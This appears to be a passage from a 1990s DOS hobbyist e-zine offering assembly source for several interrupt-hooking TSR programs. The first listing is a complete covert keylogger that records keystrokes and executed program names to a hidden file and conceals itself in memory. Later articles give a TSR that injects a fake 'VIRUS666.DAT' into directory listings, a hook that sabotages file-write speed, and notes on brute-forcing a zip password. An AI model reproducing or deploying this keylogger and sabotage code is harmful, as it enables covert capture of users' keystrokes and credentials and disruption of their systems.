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.8086
code    segment byte public
        assume cs:code, ds:code
        org     100h


maxsize = 256

start:
        jmp     initialize
        nop
        nop
        tag db 'phasm 11/97'            ;My tag :-)
thedata:
        oldint16        dw 0, 0         ;Old int 16h
        oldint20        dw 0, 0         ;Old int 20h
        oldint21        dw 0, 0         ;Old int 21h
        buffer  db maxsize dup (0)      ;The buffer
        buffersize      dw 0            ;Amount of data in buffer
        dumpflag        db 0            ;Flag signalling dump request (buffer
                                        ;  is full)
        int21flag       db 0            ;Flag signalling int 21h in progress
        filename        db 'C:\IO.DRV', 0       ;Name of dump file
        taghead db '<*** Date/Time: '   ;This data is put in the log file when
        themonth        db 'XX/'        ;A file is executed
        theday  db 'XX/'
        theyear db 'XX  '
        thehour db 'XX:'
        theminute       db 'XX:'
        thesecond       db 'XX.'
        thecentisecond  db 'XX  '
        tagtail db ' ***>'
endtag:

tsr16:  ;used to record keys
        pushf
        test    ah, ah
        jz      hook16                  ;Hook function 0
        cmp     ah, 10h
        je      hook16                  ;Hook function 10h
        cmp     ah, 20h
        je      hook16                  ;Hook function 20h
exit16:
        popf
        jmp     dword ptr cs:[oldint16] ;No hook; continue int 16h

hook16:
        cmp     byte ptr cs:[dumpflag], 1       ;If buffer full. . .
        je      exit16                          ;Don't log
        call    dword ptr cs:[oldint16]         ;Do original int 16h
        pushf
        push    bp
        mov     bp, sp
        push    ax
        mov     al, [bp + 9]
        and     al, 00000010b
        or      [bp + 3], al
        mov     ax, [bp + 2]
        mov     [bp + 8], ax    ;This code restores the original interrupt
        pop     ax              ;Enable flag's status
        pop     bp
        popf
        push    ax
        push    bx
        push    si
        mov     bx, cs:[buffersize]
        mov     si, offset buffer
        mov     cs:[bx + si], al                ;Save the key
        inc     word ptr cs:[buffersize]
        test    al, al                          ;If not a special key,
        jnz     testmax                         ;skip the next part
        inc     si
        mov     cs:[bx + si], ah                ;Store scan code
        inc     word ptr cs:[buffersize]
testmax:
        cmp     word ptr cs:[buffersize], maxsize
        jne     preparetoexit                   ;If buffer not at max, exit
        cmp     byte ptr cs:[int21flag], 1      ;If int 21h in progress,
        je      setdumpflag                     ;set the dump flag
        call    bufferdump                      ;Dump the buffer
        jmp     short preparetoexit

setdumpflag:
        mov     byte ptr cs:[dumpflag], 1       ;Request a buffer dump
preparetoexit:
        pop     si
        pop     bx
        pop     ax
        iret                                    ;Exit to caller

tsr20:  ;Used to trigger buffer dump
        call    bufferdump                      ;Dump buffer
        jmp     dword ptr cs:[oldint20]         ;Continue original handler

tsr21:  ;Used to trigger buffer dump and record file executions
        pushf
        mov     byte ptr cs:[int21flag], 1      ;Signal int 21h in progress
        cmp     byte ptr cs:[dumpflag], 1       ;Is a dump requested?
        jne     checksubfunctions               ;If not, check subfunctions
        call    bufferdump                      ;Dump buffer
        cmp     ah, 4bh                         ;Is caller requesting EXEC?
        jne     exit21                          ;If not, exit
        call    recordexec                      ;If so, record name
        jmp     short exit21                    ;Exit

checksubfunctions:
        test    ah, ah
        jz      prepdump                ;00 : Terminate program
        cmp     ah, 0fh
        je      prepdump                ;0F : Open file (FCB)
        cmp     ah, 13h
        jb      exit21
        cmp     ah, 16h
        jbe     prepdump                ;13 : Delete file (FCB)
                                        ;14 : Read from file (FCB)
                                        ;15 : Write to file (FCB)
                                        ;16 : Create file (FCB)
        cmp     ah, 39h
        je      prepdump                ;39 : Create subdirectory
        cmp     ah, 3ah
        je      prepdump                ;3A : Remove subdirectory
        cmp     ah, 3ch
        je      prepdump                ;3C : Create/Truncate file (handle)
        cmp     ah, 3dh
        je      prepdump                ;3D : Open file (handle)
        cmp     ah, 3fh
        je      checkhandle             ;3F : Read from file (handle)
        cmp     ah, 40h
        je      checkhandle             ;40 : Write to file (handle)
        cmp     ah, 41h
        je      prepdump                ;41 : Delete file (handle)
        cmp     ah, 4bh
        je      recordname              ;4B : Execute/Overlay
        cmp     ah, 4ch
        je      prepdump                ;4C : Terminate w/return code
        cmp     ah, 6ch
        jne     exit21                  ;6C : Extended open/create file
prepdump:
        call    bufferdump              ;Dump buffer
exit21:
        call    dword ptr cs:[oldint21] ;Do original int 21h
        pushf
        push    bp
        mov     bp, sp
        push    ax
        mov     al, [bp + 9]
        and     al, 00000010b
        or      [bp + 3], al
        mov     ax, [bp + 2]
        mov     [bp + 8], ax    ;Save caller's interrupt enable flag status
        pop     ax
        pop     bp
        popf
        mov     byte ptr cs:[int21flag], 0      ;Reset int 21h progress flag
        cmp     byte ptr cs:[dumpflag], 1       ;Is dump requested?
        jne     iret21                          ;If not, exit
        call    bufferdump                      ;Dump buffer
iret21:
        iret                                    ;Return to caller

checkhandle:
        cmp     bx, 4                           ;Is the handle standard?
        ja      prepdump                        ;If not, go dump the buffer
        jmp     short exit21                    ;If it is, exit

recordname:
        call    bufferdump                      ;Dump the buffer
        call    recordexec                      ;Save the filename
        jmp     short exit21                    ;Exit

bufferdump      proc near
        cmp     word ptr cs:[buffersize], 0     ;If the buffer is empty,
        je      returnhome                      ;then don't bother
        push    ax
        push    bx
        push    cx
        push    dx
        push    ds
        push    cs
        pop     ds
        mov     ax, 3d01h                       ;Write access
        mov     dx, offset filename
        call    simint21                        ;Open the log file
        jc      trymakingfile                   ;If error, create log file
        jmp     short movetoend

trymakingfile:
        mov     ah, 3ch
        mov     cx, 00100110b
        call    simint21                        ;Create the file
        jc      donerecording                   ;If error, abort
movetoend:
        mov     bx, ax
        mov     ax, 4202h
        xor     cx, cx
        xor     dx, dx
        call    simint21                        ;Move to the end of the file
        mov     ah, 40h
        mov     cx, [buffersize]
        mov     dx, offset buffer
        call    simint21                        ;Write the buffer
        mov     ah, 3eh
        call    simint21                        ;Close the buffer
donerecording:
        mov     byte ptr [dumpflag], 0          ;Reset the buffer full flag
        mov     word ptr [buffersize], 0        ;Set the buffer size to 0
        pop     ds
        pop     dx
        pop     cx
        pop     bx
        pop     ax
returnhome:
        retn
bufferdump      endp


recordexec      proc near
        ;push stuff
        push    bp              ;[bp]
        mov     bp, sp
        push    ax              ;[bp - 2]
        push    bx              ;[bp - 4]
        push    cx              ;[bp - 6]
        push    ds              ;[bp - 8]       ;Notice DS and DX are switched
        push    dx              ;[bp - 10]
        push    es              ;[bp - 12]
        push    si              ;[bp - 14]
        push    di              ;[bp - 16]
        push    cs
        pop     ds
        mov     ax, 3d01h                       ;Write access
        mov     dx, offset filename
        call    simint21                        ;Open the log file
        jc      trymakingfile2                  ;If error, create log file
        jmp     short movetoend2

trymakingfile2:
        mov     ah, 3ch
        mov     cx, 00100110b
        call    simint21                        ;Create log file
        jnc     movetoend2                      ;If no error, move ptr
        jmp     donerecording2                  ;Abort

movetoend2:
        mov     bx, ax
        mov     ax, 4202h
        xor     cx, cx
        xor     dx, dx
        call    simint21                        ;Move ptr to end of file
        mov     ah, 2ah
        call    simint21                        ;Get system date
        mov     al, dh
        mov     si, offset themonth
        call    writetwodigit                   ;Put month in buffer
        mov     al, dl
        mov     si, offset theday
        call    writetwodigit                   ;Put day in buffer
        sub     cx, 1900
        cmp     cx, 100
        jb      doitnow
        sub     cx, 100
doitnow:
        mov     al, cl
        mov     si, offset theyear
        call    writetwodigit                   ;Put year in buffer
        mov     ah, 2ch
        call    simint21                        ;Get system time
        mov     al, ch
        mov     si, offset thehour
        call    writetwodigit                   ;Put hour in buffer
        mov     al, cl
        mov     si, offset theminute
        call    writetwodigit                   ;Put minutes in buffer
        mov     al, dh
        mov     si, offset thesecond
        call    writetwodigit                   ;Put seconds in buffer
        mov     al, dl
        mov     si, offset thecentisecond
        call    writetwodigit                   ;Put centiseconds in buffer
        mov     ah, 40h
        mov     cx, offset tagtail - offset taghead
        mov     dx, offset taghead
        call    simint21                        ;Write buffer
        lds     dx, [bp - 10]
        push    ds
        pop     es
        mov     di, dx
        mov     cx, 0ffffh
        cld
        mov     al, 0
        repne   scasb
        inc     cx
        mov     ah, 40h
        not     cx                              ;Calculate length of filename
        call    simint21                        ;Write filename
        mov     cx, offset endtag - offset tagtail
        mov     dx, offset tagtail
        mov     ah, 40h
        push    cs
        pop     ds
        call    simint21                        ;Write tail for EXEC logging
        mov     ah, 3eh
        call    simint21                        ;Close file
donerecording2:
        pop     di
        pop     si
        pop     es
        pop     dx
        pop     ds
        pop     cx
        pop     bx
        pop     ax
        pop     bp
        retn
recordexec      endp


writetwodigit   proc near
        push    ax
        push    dx
        mov     dl, 10
        mov     ah, 0
        div     dl                              ;Convert number to two digits
        add     ax, 3030h
        mov     [si], ax                        ;Save digits
        pop     dx
        pop     ax
        retn
writetwodigit   endp


simint21        proc near
        pushf
        call    dword ptr cs:[oldint21]         ;Simulate INT 21h instruction
        retn
simint21        endp

initialize:                                     ;Standard TSR engine
        cld                                     ;See issue 001 for details
        push    ds
        xor     ax, ax
        mov     ds, ax
        mov     si, 16h * 4
        mov     di, offset oldint16
        cli
        movsw
        movsw
        mov     si, 20h * 4
        movsw
        movsw
        movsw
        movsw
        sti
        pop     ds
        ;let's see if we can load into upper memory...
        mov     cx, offset initialize - offset thedata
        shr     cx, 4
        inc     cx
        mov     ax, cs
        dec     ax
        mov     es, ax
        mov     ds:[100h], es
keepgoing1:
        mov     ax, es:[3]
        mov     bx, es
        add     ax, bx
        inc     ax
        mov     es, ax
        cmp     byte ptr es:[0], 'M'
        je      valid1
        cmp     byte ptr es:[0], 'Z'
        jne     failed
        mov     ds:[100h], es
valid1:
        cmp     ax, 0a000h
        jb      keepgoing1
keepgoing2:
        mov     al, es:[0]
        cmp     al, 'M'
        je      donevalidcheck
        cmp     al, 'Z'
        je      checkitout
failed:
        mov     es, ds:[100h]
        jmp     short goresident

failed2:
        mov     es, ds:[100h]
        mov     byte ptr ds:[100h], 'M'
        mov     word ptr ds:[101h], 8
        mov     ax, es
        add     ax, es:[3]
        inc     ax
        mov     ds, ax
        mov     bx, ds:[3]
        push    cs
        pop     ds
        add     bx, cx
        mov     ds:[103h], bx
        sub     es:[3], cx
        inc     cx
        jmp     short goresident2

donevalidcheck:
        mov     ax, es
        add     ax, es:[3]
        inc     ax
        mov     es, ax
        jmp     short keepgoing2

checkitout:
        mov     ax, es:[1]
        test    ax, ax
        jnz     failed2
        mov     ax, es:[3]
        cmp     ax, cx
        jb      failed2
        ;we'll load into memory and hide
goresident:
        mov     byte ptr ds:[100h], 'H'
        mov     word ptr ds:[101h], 7965h       ; 'ey' in memory
        mov     word ptr ds:[103h], 2021h       ; '! ' in memory
        inc     cx
        sub     es:[3], cx
goresident2:
        mov     ax, es
        add     ax, es:[3]
        inc     ax
        mov     es, ax
        mov     si, 100h
        xor     di, di
        shl     cx, 1
        shl     cx, 1
        shl     cx, 1
        rep     movsw
        sub     ax, 10h
        xor     bx, bx
        mov     ds, bx
        cli
        mov     ds:[16h * 4], offset tsr16
        mov     ds:[16h * 4 + 2], ax
        mov     ds:[20h * 4], offset tsr20
        mov     ds:[20h * 4 + 2], ax
        mov     ds:[21h * 4], offset tsr21
        mov     ds:[21h * 4 + 2], ax
        ;terminate
        call    dword ptr cs:[oldint20]

code    ends

end     start

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------------------------------------------------------------------------------

Phantom File TSR                                                          #007
----------------


> Introduction <

As of the time I am writing this, I have not yet written this TSR.  The idea I
am thinking of is a TSR that occasionally returns non-existant files during
find first/next calls.  There are three sets of find first/next calls that can
be intercepted.  There are FCBs, regular ASCIIZ filename calls, and Win95
calls.  I won't cover the last one, since I don't have Win95 to test it on
(I'll upgrade when I get a new hard drive, if that ever happens).  This
shouldn't be a hard program to write.  I think that I won't intercept the
initial find first call, because if I return a fake file name that time, then
the find/next call that follows it will not have been initialized by the find
first call.  The TSR will intercept Int 21/12 and Int 21/4F calls.  If the
random number generator does not return the magic number, then control will be
passed to the original Int21 handler.  If the magic number is returned, then a
fake file will be passed back without ever calling the original Int21 handler.

> More details <

The Int 21/12 call points to an FCB which is used throughout the search.  The
function returns an FCB containing the file set up in the DTA.  A pointer to
the DTA can be obtained from Int 21/2F.  If the current drive is needed, this
can be obtained from Int 21/19.  The attribute will always be 00.
The Int 21/4F call is easy to spoof.  However, the Int 21/4E call must be
intercepted so that the search attribute can be obtained.  This pair of calls
returns more detailed information than Int 21/12.  The file's date, time, and
size are returned.  Once again, the file's attributes will always be 00.

> The source code <


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.8086
code    segment byte public
        assume cs:code, ds:code
        org     100h

sizelo = 02c2ah
sizehi = 0ah                    ;Filesize = 666,666
filetime = 30c3h                ;06:06:06
filedate = 34c6h                ;06/06/2006
odds = 50                       ;The probability is equal to 1 / odds

start:
        jmp     initialize
        nop
        nop
        tag db 'phasm 12/97'

thedata:
        oldint  dw 0, 0

tsr:
        cmp     ah, 12h                 ;FCB find next
        je      fcbfind
        cmp     ah, 4fh                 ;ASCIIZ find next
        je      asciizfind
continuechain:
        jmp     dword ptr cs:[oldint]   ;Continue int21 chain

asciizfind:
        push    ax
        push    bx
        push    dx                      ;Save registers
        call    getrandom               ;Get a random number
        mov     ax, bx
        xor     dx, dx
        mov     bx, odds
        div     bx                      ;DX = random number 0 to odds - 1
        test    dx, dx
        jnz     noasciizfun             ;If DX not 0, then don't spoof
        push    cx
        push    ds
        push    si
        push    es
        push    di                      ;Save more registers
        mov     ah, 2fh
        call    simint21                ;Get DTA address
        lea     di, [bx + 15h]          ;Get offset of non-reserved area
        mov     al, 0                   ;Attributes = 00
        cld
        stosb                           ;Save attribute
        mov     ax, filetime
        stosw                           ;Save file time
        mov     ax, filedate
        stosw                           ;Save file date
        mov     ax, sizelo
        stosw                           ;Save lo word of size
        mov     ax, sizehi
        stosw                           ;Save hi word of size
        push    cs
        pop     ds
        mov     si, offset fakefile
        mov     cx, 13
        rep     movsb                   ;Move fake ASCIIZ filename
        pop     di
        pop     es
        pop     si
        pop     ds
        pop     cx
        pop     dx
        pop     bx
        pop     ax                      ;Restore registers
        push    bp
        mov     bp, sp
        and     byte ptr [bp + 6], 0feh ;Clear carry flag
        pop     bp
        xor     ax, ax                  ;Not documented, but Int 21/4F
                                        ;returns AX = 0 after successful call
        iret

noasciizfun:
        pop     dx
        pop     bx
        pop     ax                      ;Restore registers
        jmp     short continuechain     ;Continue int21 chain

fcbfind:
        push    ax              ;[bp + 6]
        push    bx              ;[bp + 4]
        push    dx              ;[bp + 2]       ;Save registers
        call    getrandom               ;Get random number
        mov     ax, bx
        xor     dx, dx
        mov     bx, odds
        div     bx                      ;DX = random number 0 to odds - 1
        test    dx, dx
        jnz     nofcbfun                ;If DX not 0, then don't spoof
        push    bp              ;[bp]
        mov     bp, sp                  ;Set up stack frame
        push    ds
        push    si
        push    es
        push    di                      ;Save more registers
        mov     ah, 2fh
        call    simint21                ;Get DTA address
        mov     si, [bp + 2]            ;Get old DX and put in SI
        cmp     byte ptr [si], 0ffh     ;Is it an extended FCB?
        jne     makeitfake              ;If not, skip next few instructions
        mov     word ptr es:[bx], 00ffh ;Create extended FCB
        mov     word ptr es:[bx + 2], 0
        mov     word ptr es:[bx + 4], 0 ;Create reserved area
        mov     byte ptr es:[bx + 6], 0 ;Save new attributes
        add     bx, 7                   ;Shift FCB's offset so the next
        add     si, 7                   ;routine can handle it like reg FCB
makeitfake:
        cld
        mov     di, bx
        mov     al, [si]
        test    al, al                  ;Searching "default drive"?
        jnz     savedrive               ;If not, skip next instructions
        mov     ah, 19h
        call    simint21                ;Get default drive
        inc     al                      ;Adjust value
savedrive:
        stosb                           ;Save drive number
        push    cs
        pop     ds
        mov     si, offset fakefile
        movsw
        movsw
        movsw
        movsw                           ;Move fake file's main name
        inc     si
        movsw
        movsb                           ;Move fake file's extension
        mov     al, 0
        stosb                           ;Save fake attributes
        add     di, 10
        mov     ax, filetime
        stosw                           ;Save fake time
        mov     ax, filedate
        stosw                           ;Save fake date
        inc     di
        inc     di
        mov     ax, sizelo
        stosw
        mov     ax, sizehi
        stosw                           ;Save fake file size
        pop     di
        pop     es
        pop     si
        pop     ds
        pop     bp
        pop     dx
        pop     bx
        pop     ax                      ;Restore registers
        mov     al, 0                   ;Signal successful search
        iret

abortfcbfun:
        pop     di
        pop     es
        pop     si
        pop     ds
        pop     bp
nofcbfun:
        pop     dx
        pop     bx
        pop     ax                      ;Restore registers
        jmp     dword ptr cs:[oldint]   ;Continue int21 chain

fakefile        db 'VIRUS666.DAT', 0    ;Fake filename


simint21        proc near
        pushf                           ;Push flags
        call    dword ptr cs:[oldint]   ;FAR call to simulate INT call
        retn
simint21        endp


;returns bx

getrandom       proc near               ;My standard random number generator
        push    ds
        push    ax
        push    cx
        mov     ax, cs
        mov     ds, ax
        mov     ax, [seedhigh]
        mov     bx, [seedlow]
        not     ax
        not     bx
        ror     ax, 2
        rol     bx, 1

        xor     ax, [seedlow]
        xor     bx, [seedhigh]

        mov     cx, [counter]
        ror     cx, cl
        xor     cx, [counter]

        adc     ax, cx
        rol     bx, cl
        mov     [seedhigh], ax
        mov     [seedlow], bx
        inc     word ptr [counter]
        pop     cx
        pop     ax
        pop     ds
        retn
getrandom       endp

seedhigh        dw      0
seedlow         dw      0
counter         dw      0


initialize:                             ;And the standard TSR loader
        call    initrandom              ;Initialize random number generator
        cld
        push    ds
        xor     ax, ax
        mov     ds, ax
        mov     si, 21h * 4
        mov     di, offset oldint
        cli
        movsw
        movsw
        sti
        pop     ds
        ;let's see if we can load into upper memory...
        mov     cx, offset initialize - offset thedata
        shr     cx, 4
        inc     cx
        mov     ax, cs
        dec     ax
        mov     es, ax
        mov     ds:[100h], es
keepgoing1:
        mov     ax, es:[3]
        mov     bx, es
        add     ax, bx
        inc     ax
        mov     es, ax
        cmp     byte ptr es:[0], 'M'
        je      valid1
        cmp     byte ptr es:[0], 'Z'
        jne     failed
        mov     ds:[100h], es
valid1:
        cmp     ax, 0a000h
        jb      keepgoing1
keepgoing2:
        mov     al, es:[0]
        cmp     al, 'M'
        je      donevalidcheck
        cmp     al, 'Z'
        je      checkitout
failed:
        mov     es, ds:[100h]
        jmp     short goresident

failed2:
        mov     es, ds:[100h]
        mov     byte ptr ds:[100h], 'M'
        mov     word ptr ds:[101h], 8
        mov     ax, es
        add     ax, es:[3]
        inc     ax
        mov     ds, ax
        mov     bx, ds:[3]
        push    cs
        pop     ds
        add     bx, cx
        mov     ds:[103h], bx
        sub     es:[3], cx
        inc     cx
        jmp     short goresident2

donevalidcheck:
        mov     ax, es
        add     ax, es:[3]
        inc     ax
        mov     es, ax
        jmp     short keepgoing2

checkitout:
        mov     ax, es:[1]
        test    ax, ax
        jnz     failed2
        mov     ax, es:[3]
        cmp     ax, cx
        jb      failed2
        ;we'll load into memory and hide
goresident:
        mov     byte ptr ds:[100h], 'H'
        mov     word ptr ds:[101h], 7965h       ; 'ey' in memory
        mov     word ptr ds:[103h], 2021h       ; '! ' in memory
        inc     cx
        sub     es:[3], cx
goresident2:
        mov     ax, es
        add     ax, es:[3]
        inc     ax
        mov     es, ax
        mov     si, 100h
        xor     di, di
        shl     cx, 1
        shl     cx, 1
        shl     cx, 1
        rep     movsw
        sub     ax, 10h
        xor     bx, bx
        mov     ds, bx
        cli
        mov     ds:[21h * 4], offset tsr
        mov     ds:[21h * 4 + 2], ax
        ;terminate
        int     20h

initrandom      proc near                       ;Initializer won't be TSRed
        push    ax
        push    cx
        push    dx
        xor     ah, ah
        int     1ah
        mov     cs:[seedhigh], cx
        mov     cs:[seedlow], dx
        pop     dx
        pop     cx
        pop     ax
        retn
initrandom      endp

code    ends

end     start

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------------------------------------------------------------------------------

Slow Writer                                                               #008
-----------


> Introduction <

This TSR hooks the DOS write-to-file function (AH = 40h) and breaks the write
up into a series of 1 byte writes.  This seriously slows down any attempts to
write to a file.  Only the main routine is shown here; the TSR engine is not
included here (you can find it in several of the other articles).  The loader
hooks int 21h, so you should be able to finish this.  Well, here's the source
code.

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.8086
code    segment byte public
        assume cs:code, ds:code
        org     100h

start:
        jmp     initialize
        nop
        nop
        tag db 'phasm 12/97'

thedata:
        oldint  dw 0, 0

tsr:
        cmp     ah, 40h
        jne     exittsr
        push    cx
        push    dx
        push    si
        push    di
        mov     si, cx
        mov     di, cx
        mov     cx, 1
looper:
        test    si, si
        jz      donewrite
        pushf
        call    dword ptr cs:[oldint]
        jc      penny
        dec     si
        inc     dx
        mov     ah,40h
        jmp     short looper

penny:
        cmp     si, di
        je      returnerror
donewrite:
        sub     di, si
        mov     ax, di
        pop     di
        pop     si
        pop     dx
        pop     cx
        clc
        retf    2

returnerror:
        pop     di
        pop     si
        pop     dx
        pop     cx
        stc
        retf    2

exittsr:
        jmp     dword ptr cs:[oldint]


initialize:
        ;Put the standard TSR engine here and hook Int 21h

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------------------------------------------------------------------------------

Some thoughts on background processing                                    #009
--------------------------------------


Recently I helped a friend crack a zip file by taking the C source code for a
zip cracker and rewriting it to guess passwords w/o a dictionary, and
optimizing it with some assembly.  Cracking by guessing requires a lot of time
to get anywhere, and it's annoying to have to sit and wait.  On my DX2/66
using four character passwords, I got around 24,000 passwords guessed per
second.  It sounded like a large number, but when compared to the number of
possible passwords, it's pretty small.  I was using a 91 character set for
guessing, so for four character passwords, there are 68,574,961 possible
passwords, which would require around 47 minutes of computing.  For five
character passwords there are 6,240,321,451 possible passwords, which works
out to be over two straight days of number crunching.
Eventually the password was cracked, but I later thought about making a TSR
that sat in the background and worked out stuff like this.  It would take
longer, but it would be a lot more convenient.  Such a program should not slow
the computer down significantly, and should work both in Windows and DOS.
What interrupts and services would it hook?  While in DOS, any key requests
such as Int 16/00/10/20 can alternately do background computing and check if a
key is ready.  Int 1C calls can be intercepted, and depending on your
computer, you could specify how much time to spend computing during each clock
tick.  Another possibility is that during DOS requests for characters or
strings from the keyboard, the amount of computing done during Int 1C calls
could be increased.  Periodically, the program could save its results so that
if the computer crashed or was turned off without warning, it could pick up
where it last left off.
Anyway, I hope this has given someone some ideas.  I don't really plan on
making such a program any time soon, because I usually don't need to do any
background number crunching.  Maybe something besides number crunching could
be done, such as searching for files, or tracking the amount of free space
left.  I'm sure there's something useful to be done (gasp!).